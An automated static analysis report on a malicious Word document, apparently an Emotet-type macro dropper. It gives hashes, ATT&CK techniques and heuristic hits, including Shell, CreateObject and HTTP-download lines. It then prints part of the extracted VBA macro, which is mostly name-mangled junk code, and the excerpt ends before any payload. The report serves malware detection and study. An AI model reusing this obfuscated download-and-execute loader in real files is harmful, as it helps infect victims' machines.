Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79e4c392401e5388…

MALICIOUS

Office (OLE)

493.5 KB Created: 2018-07-11 15:23:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 86a2046362762b1b032a8b51dbd66f50 SHA-1: c29c9e2fc9d324f6bf230876a6baafb255950c3e SHA-256: 79e4c392401e538834fc7e7b14abb4b951c1806e783bd43d4d8a59b056fdf26a
372 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate T1071.001 Web Protocols

The sample is a malicious Office document containing a large, obfuscated VBA macro. Heuristics indicate the macro attempts to download and execute a payload using CreateObject and Shell calls, a common dropper technique. The document body explicitly prompts the user to 'Click Enable Content To View', which is a social engineering lure to bypass macro security. The macro's obfuscation and auto-execution further support its malicious intent.

Heuristics 11

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (hViQhdO), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        htsJm = dZKmWzh.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set dZKmWzh = CreateObject("" & "" & lVKIAFK("MUi$cdr_opsuoXf^tm.[XvMtLKHPT&TuPu") & "" & "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set dZKmWzh = CreateObject("" & "" & lVKIAFK("MUi$cdr_opsuoXf^tm.[XvMtLKHPT&TuPu") & "" & "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 205724 bytes
SHA-256: f7d9a3b74452f42d42dbb749ec0237d0323daf3adb63bf2365074f675ba98b07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1954 of 2940 identifiers look randomly generated (e.g. 'LgHWNPtFTWugENAhhxzosCCMhCDjlpKFWoUXxiO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function DBqvMQ(aEwItMS As String, AdbNTT As String, GyivXRF As String, KuHCuXG As Integer, SKOvlSA As Integer) As String
    MNdPRNH = Left("xANuZEhFkfTp", 2)
    UzdlR = 1876 + 1962 + 1584
    UfofBZoZ = 1983 - 1906 - 412
    QOHhorocv = UCase("?EmMOshjm(LvQrZda ")
    UzdlR = StrReverse("MSJ]WyXvTUjJ!xTqc")
    LCmtxOQqWN = 453 - 1140 - 524
    UzdlR = 1097 + 1384 + 436
    UfofBZoZ = Right("s!hi?]PUhD^zISC#", 5)
    ANQYynBAc = Left("hGY@MA%ZK]#j", 2)
    TDjuJcZdF = 1336 - 1802 - 1245
    oEwoNs = Space(7)
    TDjuJcZdF = 1952 - 719 - 1908
    DVStT = LTrim("_*IkCwuLkR@h")
    TDjuJcZdF = Right("rO._!oYj*ttn@)zcU@k", 5)
    cxHAomB = StrReverse(")jeR%Z)(cLtqNmo")
    okErAlaV = "pbZ^eq*fC@my(m?" + "T_(bo$dDmm&] gYjEL" + "gycTwdIp[eVnf?!LDtI"
    yJFACBiyiBGl = LTrim("KDKUSt@DRy$pjKB")
    UzdlR = Left("#N xnxOTPVtKt", 3)
    MNdPRNH = "!!SN.GIVa%heS-vU" + "vchDBi%cA[xjD#" + "&Vb?GnSJzHPH"
    MNdPRNH = UCase("dIHlJ^KZT!@o@qDT")
    While EVwSVk < 2
        While oGardP < 3
            TDjuJcZdF = Space(6)
            MNdPRNH = 165 - 1360 - 766
            QOHhorocv = 991 + 1502 + 117
            oGardP = oGardP + 1
        Wend

        cxHAomB = Space(1)
        ANQYynBAc = 1997 - 1787 - 325
        oKqIOID = "lSC[vImpy(&tcFnWT" + "Q$ovWp])%HKcqDiTadH" + "oGYZg(FzRkc$gOR*G(b "
        MNdPRNH = Space(12)
        EVwSVk = EVwSVk + 3
    Wend

    DBqvMQ = "dkpycfocZIUwKYDmjKGyD"
End Function

Private Sub ODONvG(WAJuFJ As Double, KsMHYS As Integer, QNRtKGj As Integer, XaToiLU As Double)
    UzdlR = Right("CBDGAGT_?I*h[j(!?pO", 2)
    UzdlR = Space(16)
    TDjuJcZdF = 838 + 679 + 1244
    TDjuJcZdF = Space(18)
    cxHAomB = 407 - 1112 - 408
    DVStT = Space(1)
    okErAlaV = RTrim("NraXXooDK)^[cp")
    LCmtxOQqWN = Right("?fSKQhv^nFnHXgwZpqN", 2)
    oKqIOID = 1941 - 1811 - 907
    oKqIOID = StrReverse("q*AsqKl.QCS")
    cxHAomB = LTrim("SfE)x?OqP(xKB_W?yqb")
    cxHAomB = 1939 - 1076 - 985
    oEwoNs = UCase("Dne*KzkkK&Zi[Ekc")
    oKqIOID = RTrim("WHdytotiA(pFHKkmSM")
    oEwoNs = 921 - 554 - 127
    yJFACBiyiBGl = Space(2)
    cxHAomB = 1165 - 1637 - 761
    vDEWWYGIScWX = UCase("[m_oKiHgL_V#L(&q.J")
    AYKcdixmjq = UCase("Bokee?_Cb!xI _")
    oKqIOID = Space(12)
    vDEWWYGIScWX = Right("dKp&SVqUC)x[JFBg)xr", 2)
    For AaDZen = 0 To 10
        QOHhorocv = UCase("L[k[DEAeD@cOmD]EZ.")
        AYKcdixmjq = Right("%!favlkA?![f", 3)
        UzdlR = 1960 - 1221 - 647
    Next AaDZen

    oKqIOID = 265 - 341 - 527
    While ClswKn < 1
        While yZskSz < 1
            TDjuJcZdF = StrReverse("KHwgSpoiwOMkrW")
            vDEWWYGIScWX = StrReverse("VLDN^u!Mz? ")
            vDEWWYGIScWX = StrReverse("DTQhRQe*RA[n")
            UzdlR = LTrim("o?&bPdWYiUWvpf")
            cxHAomB = Right("uLsUlU]NW&", 3)
            TDjuJcZdF = "C(hB*opQ@hcYIVnJh" + "ZJ^sJjiUXPiparqqVqYQ" + "mg^[y.@)VIv"
            UfofBZoZ = UCase("*I)qKcsFFPWk")
            yZskSz = yZskSz + 1
        Wend

        ANQYynBAc = 1502 - 486 - 239
        ANQYynBAc = 238 + 857 + 1416
        oEwoNs = RTrim("v!(CHjhUCN^M.w_p")
        oEwoNs = Space(7)
        oEwoNs = Space(20)
        oEwoNs = "IPpQ(DK )sP?" + "h*&#WWGogF%)" + "Y?ddHdtH]@ghBi(F"
        yJFACBiyiBGl = RTrim(".LLRgEpVdwXlKV!Bs&")
        oEwoNs = RTrim("([f$#_)S_PQbOzbT")
        cxHAomB = StrReverse("Uhl^ ttESF*$FpQvfN)")
        UzdlR = Left("mwifM#qjZ VnE&xq[", 5)
        ClswKn = ClswKn + 2
    Wend

    cxHAomB = "zwFtDG.PfWJDasrbqaC" + "AiX#eH*r.S?miqbu^I]-" + "_.y# Hd!.uJ!"
    MNdPRNH = LTrim("-OjNZ$qPQwY Mf")
    UfofBZoZ = LTrim("uijIgq*?Qt$^C-]Eu")
    For OqMQNl = 0 To 9
        MNdPRNH = UCase("n_e-tg[vh$aBSIaB$@N")
        UzdlR = "el@*#)IcQeuxY^-aeMnQ" + "Vmr(ThO@sFo" + "oukkzB_&sx^nJnT@AA&"
    Next OqMQNl

    UzdlR = Right("cnUrqnI?lPgHCVIWHymr", 5)
End Sub

Private Sub SphUwJ(eCHism As Integer, nUdfzPj As Double)
    cxHAomB = UCase("dVAn@Q$mfmks uCt@G.h")
    QOHhorocv = RTrim("TdUxO#A[Un")
    yJFACBiyiBGl = LTrim("k^-rxpkD_PLhV$HR")
    AYKcdixmjq = "]uEh$lnzAiEy" + "sAeeiifZgoP@" + "]?b^wPr BpJsj["
    DVStT = RTrim("dP!pe&hHmbmMnuaMSQA.")
    MNdPRNH = StrReverse("?oFPSD[U)]@Rh_%#bF#H")
    MNdPRNH = RTrim("QEr^B_TdYX?MD!^")
    While lYVuns < 4
        While KHIkLr < 4
            DVStT = 1316 - 1090 - 1888
            UfofBZoZ = 715 + 1260 + 1147
            yJFACBiyiBGl = RTrim("tt.g]jQAWtLNzaKvOr[ ")
            QOHhorocv = Right("fe^[FNanHi!MXjyt-X", 2)
            KHIkLr = KHIkLr + 3
        Wend

        AYKcdixmjq = 1883 - 621 - 1809
        okErAlaV = StrReverse("(xqjvHSTL&A")
        DVStT = RTrim("]C@zH#Ijki")
        ANQYynBAc = 362 - 1056 - 382
        yJFACBiyiBGl = StrReverse("FuQYpav]Xmg$*jI])zA")
        UfofBZoZ = 1183 - 1073 - 941
        DVStT = 1040 + 1178 + 1939
        lYVuns = lYVuns + 1
    Wend

    For teMQXc = 0 To 2
        While CIPSOR < 1
            UfofBZoZ = Left(")J?Q?SwMyE!YwCM-Q&A", 3)
            AYKcdixmjq = 318 + 954 + 421
            okErAlaV = "Ja]b(OhCHuVmgs.mt" + " fayadXM y" + "wvoiKAOOidxuN"
            AYKcdixmjq = LTrim("dZ.srpR#VC%#B")
            MNdPRNH = Right("tnxXfI(F(?VbP^eUT", 5)
            oKqIOID = StrReverse("f-[JMu]CFMIOYF^I[")
            CIPSOR = CIPSOR + 1
        Wend

        TDjuJcZdF = LTrim("&wbQPys^M]oZ[CN")
        AYKcdixmjq = LTrim("LO_?_SS XQjNU")
        LCmtxOQqWN = RTrim("(oF$tzd^*gUnX*dWESq")
        oKqIOID = "N*KBA(&_NGqAxSUAD# " + "lfgnteohueXa.g)pRVd&" + "Yd$^cFEcVGg]O"
        DVStT = LTrim("*.eoS V-r!s[DcCA.Z")
        yJFACBiyiBGl = 923 - 1088 - 923
        okErAlaV = Space(2)
        vDEWWYGIScWX = UCase("JSBMrTM[suRHjvdL?vE$")
        MNdPRNH = "Ky#MELEo!VvwMBRp-J" + "M?)F?A^PhtkbkBYQ" + "#hJ&OC@WX*n#@"
        yJFACBiyiBGl = Left("()e(eIab@Ry]W", 3)
    Next teMQXc

    For YqQaqb = 0 To 8
        oKqIOID = Space(13)
        MNdPRNH = Right("RjfEjOg&lYSj*)PQD^&V", 3)
        UfofBZoZ = UCase("ay[vVW%dvjzU#*Jn")
        DVStT = 1341 + 286 + 482
        AYKcdixmjq = StrReverse("OgtcHIB(B^HdhxMB")
        yJFACBiyiBGl = 1819 - 1282 - 1724
        LCmtxOQqWN = Left("I]zpkyPLb$^um)G", 4)
        oKqIOID = 649 + 1841 + 1933
        QOHhorocv = Space(20)
        ANQYynBAc = Left("M-ld.WL@oNTW %tV!*", 4)
    Next YqQaqb

    MNdPRNH = Space(15)
    DVStT = 1979 + 678 + 350
    QOHhorocv = Space(8)
    For tdmiTp = 0 To 9
        MNdPRNH = UCase("^fXIH@Nm-xsQwnJ")
        AYKcdixmjq = Right("pJ_%&cKfKlZx)CKeQ-uK", 5)
        yJFACBiyiBGl = "@BDsKB_TTtRGo*A)" + " ^p!]*a^p%Qk$" + "pe%EpHz[HQ[lAg("
        oKqIOID = RTrim("OJp#Ry&GtPJ")
        oEwoNs = StrReverse("qdD&CHuu%HJs%_ivw$")
    Next tdmiTp

    ANQYynBAc = LTrim("yz_@gkMfCG%ro")
    While xHGvQy < 1
        While CKeBFe < 4
            MNdPRNH = 1157 + 1693 + 596
            yJFACBiyiBGl = 1757 + 216 + 1570
            MNdPRNH = LTrim("QO^oErYT#Gda")
            oEwoNs = RTrim("_MXq_?xzWh V-")
            AYKcdixmjq = Space(2)
            CKeBFe = CKeBFe + 2
        Wend

        DVStT = 1091 - 1912 - 1367
        DVStT = StrReverse("DEY?Hf%bGv-Ofi lpCE-")
        QOHhorocv = 1749 + 920 + 1667
        ANQYynBAc = RTrim("Iqjz[[e)@D")
        LCmtxOQqWN = 1282 + 1486 + 1714
        oKqIOID = RTrim("*j-rLM_]HxxR-FJf")
        oKqIOID = "HCHsunD#^.zDT" + "ZVm^KFIoc[%gSYRS[lgN" + "T%d@f@HPi.E@"
        xHGvQy = xHGvQy + 2
    Wend

    DVStT = Right("O-y(x_!XarCaY]R&TU-F", 4)
    vDEWWYGIScWX = LTrim("pXBhgX[pJhURU^")
    AYKcdixmjq = LTrim("lJ&x[P-dsDYvIGGqlrL")
    MNdPRNH = StrReverse("[cNrVd_NL?vA^Z")
    okErAlaV = StrReverse("BfsyXpk&jvt$zek[&u")
    MNdPRNH = UCase("NkoaCLOFi EjHTK.k)s")
    vDEWWYGIScWX = RTrim("l?@rrv*-VE-Al")
    ANQYynBAc = UCase("!leWzZB_(Bp_GN#ADYF%")
    okErAlaV = Right("(nTlz_]Y[w]zZlGAx%u", 2)
    UzdlR = LTrim("dnsEjuTRp MZ")
    TDjuJcZdF = 1945 + 933 + 1857
    ANQYynBAc = UCase("Oplk-QPX_mO")
    AYKcdixmjq = UCase(")@z!oH$H$kCi(k")
    While fMOkmK < 3
        For VHtFJg = 0 To 8
            vDEWWYGIScWX = LTrim("#Nz.Jkmo#Q")
            ANQYynBAc = Space(6)
            LCmtxOQqWN = LTrim("ElMH*G$a[*(r")
            UfofBZoZ = LTrim("BYdjpv^ygFj")
            TDjuJcZdF = "&#KFjbi!E%A" + "H*]@UkG?JVhNpXJZfp" + "lIG*gQnhBuvsfC@[Mp]"
            ANQYynBAc = UCase("%_Je(MVL$r?]*(HMJWj")
            UzdlR = Left("i]*xexvXSh", 3)
        Next VHtFJg

        oKqIOID = Right("VIYSf#UZDiwMB&", 4)
        vDEWWYGIScWX = StrReverse("EY#dLBNtcEaPX")
        TDjuJcZdF = 1052 - 1350 - 273
        DVStT = 827 - 1008 - 1617
        AYKcdixmjq = "-TfS-&w#NQrFe(yERB" + "C vM?O#ehS*kx" + "WAOwXFxsa hWf@"
        oKqIOID = UCase("Wt^*tW!tDBTnYGa#lU?")
        oEwoNs = 1719 + 576 + 863
        fMOkmK = fMOkmK + 3
    Wend

    yJFACBiyiBGl = RTrim("VJjVi(M_w%")
    AYKcdixmjq = Left("YCP^ouk&TS@blAPu", 3)
    DVStT = 1940 + 969 + 1167
    LCmtxOQqWN = 506 - 171 - 1030
    UfofBZoZ = RTrim("yoavdcg%ygKF&")
    UfofBZoZ = 790 - 266 - 511
    QOHhorocv = Space(5)
    For NPcmhW = 0 To 9
        okErAlaV = Right("-eTq V$emhKr]tw", 4)
        UfofBZoZ = 1330 - 1520 - 1838
        UzdlR = Left("KiBRB_mio?p^APt(-^", 5)
        UfofBZoZ = LTrim("[Q[c[fZsw)r*P")
        oKqIOID = "ALZx[ODB#XQIOmcw(n" + "YTqynCZgwFrJrisF" + "eSv-vzYtZRx%*FQiM*"
        TDjuJcZdF = RTrim("kMR#YscNC#VKw[")
        yJFACBiyiBGl = 552 + 1150 + 794
        QOHhorocv = 1259 + 796 + 1737
        MNdPRNH = RTrim("F@SmPiwaedIYt&VPHz")
    Next NPcmhW

    MNdPRNH = "xBrh( OFT[o@Ix" + "iG^ijuH$YKdX)hd$Z" + "aRzIp #NPdQBOv^jhS"
End Sub

Private Function kqBVoh(zDXkPTF As Integer, IzPNKD As Boolean, qvMYWHk As Boolean, IBqyUJm As Integer, UGgPMHV As Integer) As String
    yJFACBiyiBGl = Right("c&XvpHbGXxch?[oX&y", 2)
    oKqIOID = 185 + 1356 + 657
    MNdPRNH = UCase("NC?YBLxmY!aE-")
    UzdlR = Right("#W#-ryzMAc@K MN_$QZ&", 4)
    DVStT = Space(10)
    QOHhorocv = Space(10)
    AYKcdixmjq = StrReverse("jS!jmwS$nCA")
    AYKcdixmjq = 491 - 1894 - 652
    LCmtxOQqWN = Left("jmpTzSaWtp#@", 3)
    TDjuJcZdF = 957 - 283 - 200
    DVStT = "QUrkgscnySH#" + "(kxVL[akB[ETs B O" + "!$qdY(_e)j"
    TDjuJcZdF = Left("bqrSO?)zb#OX_gC", 2)
    For WLfsrI = 0 To 4
        While AHqcoi < 3
            QOHhorocv = "E#b]Aaucnh" + "Bcf^QixwDIZiI&(hy&e" + "NkSyrTl$]y_"
            yJFACBiyiBGl = Right("D.(.Fmyd]gId_", 2)
            cxHAomB = LTrim("HFEc%?AJYG]@&")
            AHqcoi = AHqcoi + 2
        Wend

        yJFACBiyiBGl = 1643 - 665 - 979
        okErAlaV = UCase("HxffKVbhrDFJ$iVRhn")
        oEwoNs = RTrim("(nhXnNjxwH^]O^i!r[k@")
        UfofBZoZ = Left("P O(eSsO_Ap!.ekzm", 2)
        LCmtxOQqWN = LTrim("_!^]Ii[)GyLO")
        MNdPRNH = Left("swF?DJHGppL#rA)Vc", 5)
    Next WLfsrI

    AYKcdixmjq = RTrim(")bt#YQZHxNvMZNs")
    QOHhorocv = Left("Gn?*RWn!z)s&*J", 5)
    oKqIOID = "wjtUalFD?^]K%rf]" + "A@hcGkykwyFe" + ".?v?o_XUjSfIKz#F"
    MNdPRNH = LTrim("&%JQK#L^VT?V.Qh]RyO")
    TDjuJcZdF = Right("GXxzsGjscvTjpUJSl)", 5)
    For AsDPeB = 0 To 8
        QOHhorocv = 1113 - 1498 - 1876
        okErAlaV = Left("mpxtj#w[.lt", 4)
        UfofBZoZ = 1408 - 1406 - 1011
        oEwoNs = RTrim("_Azpedbv&n!UFo")
        UfofBZoZ = Left(")Rc?t-DthTQ&nsNnS", 5)
        oEwoNs = 716 - 959 - 893
        UfofBZoZ = 499 + 126 + 1611
        MNdPRNH = LTrim("S#X_obklfC#x*")
        ANQYynBAc = UCase("EubAXDGP#W")
    Next AsDPeB

    cxHAomB = 1634 - 1938 - 599
    UzdlR = 947 - 1631 - 1742
    For wpxhSw = 0 To 6
        TDjuJcZdF = Left("eVVdphteOgXT", 4)
        yJFACBiyiBGl = UCase("]R*TaWL.ndFtEqwx%")
    Next wpxhSw

    cxHAomB = LTrim("oBxbFgHNVR")
    oKqIOID = Left("o)uQp_crs#vW$cOnvuR", 4)
    oKqIOID = Right("$dqjZHQKprxq)&qt", 3)
    LCmtxOQqWN = LTrim("ejJ&KV$$cV")
    oEwoNs = LTrim("qPxSMl!Cn?gn!GFHL")
    oEwoNs = 526 - 869 - 1781
    MNdPRNH = RTrim("l)Zpt$US*.twX[")
    cxHAomB = Left("tmUCVwCjbQBPW[HLe", 5)
    oKqIOID = Space(14)
    While WqhSBu < 1
        MNdPRNH = "BHxQ?axX-^fGVsuqcn_" + "UNK?eVf ab VG" + "(KxSAhD DVYEeQ[_)q"
        AYKcdixmjq = LTrim("mg!G$@-kZK")
        AYKcdixmjq = Right(")ZMgh[nyul?!lp$[M", 2)
        WqhSBu = WqhSBu + 1
    Wend

    QOHhorocv = 1056 - 637 - 1035
    AYKcdixmjq = RTrim("NCQ [ZuAImXac")
    oKqIOID = "u?y^Y-r_U&i^" + "MsIt#.uC#Mwa bG?i" + "fJ-Jm(*qfxWBkOdPaWQU"
    While DkaHtg < 4
        For nCpHud = 0 To 10
            oEwoNs = "jnBmYvtdedN[W#" + "FsoR)gGcbVbBVsWPo" + "Ir[ZakFDAsmbEhDS."
            yJFACBiyiBGl = "E uFNH@cx&oIZ" + "oZeXHr-fztoeSIU*[" + "&[F@EcMuXKVnOQcV&C"
            oEwoNs = 724 - 920 - 1364
            DVStT = "PHrV%r&#f-cUy]p" + "k@UqEVQhh^[$zGxVj" + "y[ZK)csSU BT(-kFZ@H"
            LCmtxOQqWN = Right("psWBTlmhC*Vdr ", 5)
            oEwoNs = LTrim(".(qTkp$vvQPvAA")
        Next nCpHud

        UfofBZoZ = Right("_eQj^%GfKJ[@", 3)
        vDEWWYGIScWX = Space(17)
        TDjuJcZdF = Left("SoGFDf$PFo-!edU", 4)
        LCmtxOQqWN = 231 + 1543 + 199
        oEwoNs = StrReverse(".%yA(xhxHEpie")
        yJFACBiyiBGl = 1194 - 663 - 1022
        vDEWWYGIScWX = "X U#OiTcT-zKlQ.xtcB" + "EpCr.EGdeqcjZC" + "zWNAUul&BlYU"
        AYKcdixmjq = RTrim("LJIgKo!Z%?xzWkI")
        DkaHtg = DkaHtg + 1
    Wend

    okErAlaV = Right("oR!G[wE[u&VSqg", 2)
    LCmtxOQqWN = Space(16)
    UzdlR = Left("dL(&*CPuC[Q-%[Vu", 3)
    kqBVoh = "LgHWNPtFTWugENAhhxzosCCMhCDjlpKFWoUXxiO"
End Function

Private Sub KomhZo(wXcaMuu As String, YObMGo As String, FsOJFjl As String, qOBLfHC As String)
    cxHAomB = RTrim("egofyg&x(WANIp&")
    MNdPRNH = Space(16)
    QOHhorocv = StrReverse("Ib.KxtFuY%Tv")
    UzdlR = Left("IX^ZlNcq(bKtIAVhwOq", 3)
    oKqIOID = Space(5)
    UzdlR = 164 + 942 + 1895
    oEwoNs = StrReverse(" yj UnaNJ(-jvGZ.q")
    MNdPRNH = RTrim("biALI%LE$$xJ)C")
    AYKcdixmjq = RTrim("cSb ( Z@dBjAL )")
    ANQYynBAc = LTrim("BWHa(@nHuEr]%Yr_-l")
    QOHhorocv = 1268 - 1199 - 650
    QOHhorocv = 1114 + 940 + 1630
    MNdPRNH = Right("MMQ.hkHjl#*FP$Iq$I", 3)
    DVStT = Right("vL Sex]?!_Ktk#", 5)
    yJFACBiyiBGl = Right("P?fSzL-)ZntEKa", 3)
    DVStT = "mH$v@oySssvZ" + "KP-T@e cJ." + "(InwWyzAn BKaBslti"
    Dim dZKmWzh As Object
    yJFACBiyiBGl = Left("ao!)fWmlo#lQ", 5)
    For KEavdP = 0 To 5
        TDjuJcZdF = LTrim("b!KI&YTwCp#Cj]LNS)ts")
        UzdlR = Left("EBWjNYUsZR.", 5)
        UfofBZoZ = Right("EWlkmQi_ZTSkx$", 5)
        TDjuJcZdF = Space(17)
        oKqIOID = StrReverse("&BDVeniOQQ Z&V_aCV_.")
        okErAlaV = "#IF?!s$z?cYmd" + "$fwOLf?TVXB" + "$^ABs*wU#pFNO^[a"
        vDEWWYGIScWX = StrReverse("&P*eYSTEvxJK(ggO")
        TDjuJcZdF = StrReverse("a[bRuQg%%GK")
    Next KEavdP

    DVStT = "U^Zzm@PQcO^NRu?n^" + "![maUdJo].ZQ&" + "fHsUPS!fPg)P]"
    While daTPns < 4
        While pzcOBj < 1
            DVStT = RTrim("eg[H)Pyds%N&ZOgH#")
            cxHAomB = Right("!v-K ^gnZlbw&cAcA", 4)
            pzcOBj = pzcOBj + 3
        Wend

        AYKcdixmjq = Right("XLyr)vY@tdf)?t", 4)
        yJFACBiyiBGl = UCase("qM_scD[WWO?-")
        oKqIOID = 1043 - 648 - 446
        UzdlR = RTrim("a&dGSHyQQf")
        daTPns = daTPns + 3
    Wend

    For CTGMpt = 0 To 8
        cxHAomB = 122 + 607 + 102
        QOHhorocv = "bJ JG)NcPEt&)S" + "f!A&gQ^qjvS]" + "jPrMITdn.NykizlEn#bD"
    Next CTGMpt

    DVStT = RTrim("Zg*tFnuQEtLJZDpzUFPb")
    For ChgpaN = 0 To 1
        While pngdlJ < 3
            LCmtxOQqWN = Space(14)
            vDEWWYGIScWX = LTrim("vzIqagkF*Wyw[yEB")
            UfofBZoZ = UCase(")-EkmCm-]@lz)ln")
            oEwoNs = 885 + 842 + 174
            QOHhorocv = Right("IX@_@YkuBRvg$h", 3)
            cxHAomB = 536 - 1656 - 174
            pngdlJ = pngdlJ + 3
        Wend

        UfofBZoZ = 1482 + 1237 + 120
        DVStT = UCase("gmm^F(@ @pUZMlrq")
        QOHhorocv = "[y%VfEN$ozQQz" + "c#C?jvaeIzQIoyET" + "AjTdbufHLoPfq*.gDk"
        ANQYynBAc = Left("w&r.Ee. jTcLV$^*M", 3)
        yJFACBiyiBGl = Right("SxxoNU(R&EptfOy)M$ &", 4)
    Next ChgpaN

    LCmtxOQqWN = 1219 - 865 - 391
    cxHAomB = StrReverse("a$-xwtLjj$Eiw")
    QOHhorocv = 410 - 564 - 574
    While ivcJAM < 4
        For lAsVbN = 0 To 6
            ANQYynBAc = Space(11)
            oEwoNs = Right("Hd %?jNlWMHAlX", 3)
            MNdPRNH = RTrim("Nw_[OL?wp_")
            okErAlaV = Right("$GyhEdrf.QMS&tQi", 4)
            MNdPRNH = LTrim("f^ikdB#m#z[]")
            yJFACBiyiBGl = "[DzjbbQvXdtT" + "(l^GLpXN^gTyUIf" + "mni!EwaA]Wt.VNcl_l"
            okErAlaV = 1656 + 1417 + 789
            cxHAomB = UCase("oUW!]?s@[-FU*xBQ")
            TDjuJcZdF = RTrim("ws)eLAwJ^(MP")
            DVStT = LTrim("QcdfiXNHGHv ?xXT")
        Next lAsVbN

        oEwoNs = 1991 - 1591 - 624
        QOHhorocv = 445 + 437 + 1251
        oKqIOID = RTrim("TEXz IyG#F-OoxP) #gL")
        MNdPRNH = "bmMpgv.NU-vaJLvl.$" + ".lW&QucJu[E!@gw[C^" + "j)EJqpMVhJrl"
        yJFACBiyiBGl = "gho&.psZAj-NRLBUP(A" + "mdMudpVExc@Fpr" + "JDpVv_?G-US!g%fRAtvR"
        ANQYynBAc = RTrim("BDDQec J]HmOtQA)")
        ivcJAM = ivcJAM + 2
    Wend

    While iCwwIM < 4
        LCmtxOQqWN = "msAURvJiUO[Hm?PmN@@b" + "qaW zFphEgR)*fPCYn-" + "DJYg%-vQV[wge"
        oKqIOID = LTrim("oBS?lPAnzT)o")
        oEwoNs = RTrim("_Z)zOQ*LK?XG&jjt ")
        yJFACBiyiBGl = 271 + 1723 + 1206
        vDEWWYGIScWX = 1318 + 1924 + 1228
        QOHhorocv = StrReverse("]Uy-?OmzSrEWWRugGQ")
        UfofBZoZ = "ua%uKlBVNzSQqKXa" + "?S^S.AxDkG" + "k$(WF H.%B%ppMFrFu"
        iCwwIM = iCwwIM + 1
    Wend

    yJFACBiyiBGl = 550 - 1164 - 1889
    UfofBZoZ = 1824 + 1191 + 1384
    ANQYynBAc = LTrim("TFZ_krCAy$WWW^vWJg")
    LCmtxOQqWN = UCase("]NBgVZw&W(iNmg%X]C?.")
    okErAlaV = 358 + 727 + 1297
    AYKcdixmjq = StrReverse("SCm$cGhAtuwvO)")
    DVStT = RTrim("NdMZKFt!eH")
    LCmtxOQqWN = Left("MFoGm[)TFqKI", 5)
    MNdPRNH = Space(11)
    vDEWWYGIScWX = 982 + 521 + 332
    yJFACBiyiBGl = "sP]UB)(qTsftrjNTZ" + "vuR!yV(?nxEf%ySxwRzB" + "$AED[GDG([@tkD^y@"
    DVStT = "J]Mn#*Q)[h?emh_wGXab" + "kPrHskmqPc?El#xU_#$" + "u*H^GS*NQBK Z"
    While ifqmbY < 4
        okErAlaV = "mcZbAysCNU@" + "NqOFqXIvYYZ^twa" + "V*C%D_spk N[["
        DVStT = RTrim(".MDcjfiMZ$*rzmJl")
        cxHAomB = "dG#eUbcYg-" + "[[fpCwdWC?yKC (lLO!m" + "(IOd[ULE%yYL-xtk-"
        TDjuJcZdF = StrReverse("vnPb(uVTtyy_Je-Nal%$")
        ifqmbY = ifqmbY + 2
    Wend

    QOHhorocv = StrReverse("Spslpd)F(vi-xVV")
    oEwoNs = RTrim("ZjrGp*Ep)%_y")
    AYKcdixmjq = "(n#(VWfRdh-?rm_" + "UklzUq.inV^f$*%" + "uyvjysSx!SSSFLeTEV"
    ANQYynBAc = Space(13)
    DVStT = Right("oSVsCzRv#nMtnVxTfeP", 3)
    okErAlaV = UCase("AOunl*)^ JKy##)F%JA")
    For TVFqzN = 0 To 8
        AYKcdixmjq = Right(" Gv^?cUYetqY%AgnIi", 2)
        MNdPRNH = 290 - 546 - 877
        vDEWWYGIScWX = Right("VnCJ*?Z(xa(]jYm", 4)
        yJFACBiyiBGl = Space(14)
        okErAlaV = Space(11)
        cxHAomB = Space(10)
        ANQYynBAc = LTrim("Kv?mfog@qEXPS[J")
        vDEWWYGIScWX = "Hd&Qp(sN(NnraNMNF)W" + "@ ?KhtgMpTPd Lw" + "O][M]hrA*GDY"
        DVStT = Right("X*-xDg?uWYDrldW$f", 2)
        TDjuJcZdF = Space(5)
    Next TVFqzN

    okErAlaV = 186 + 1134 + 210
    cxHAomB = LTrim("or*XcKkjl[Rlz")
    UzdlR = RTrim("dVPa)c$BrKI")
    okErAlaV = StrReverse("Cl@gcAJO]Uj_L?MMP#")
    Dim awYFxo As Object
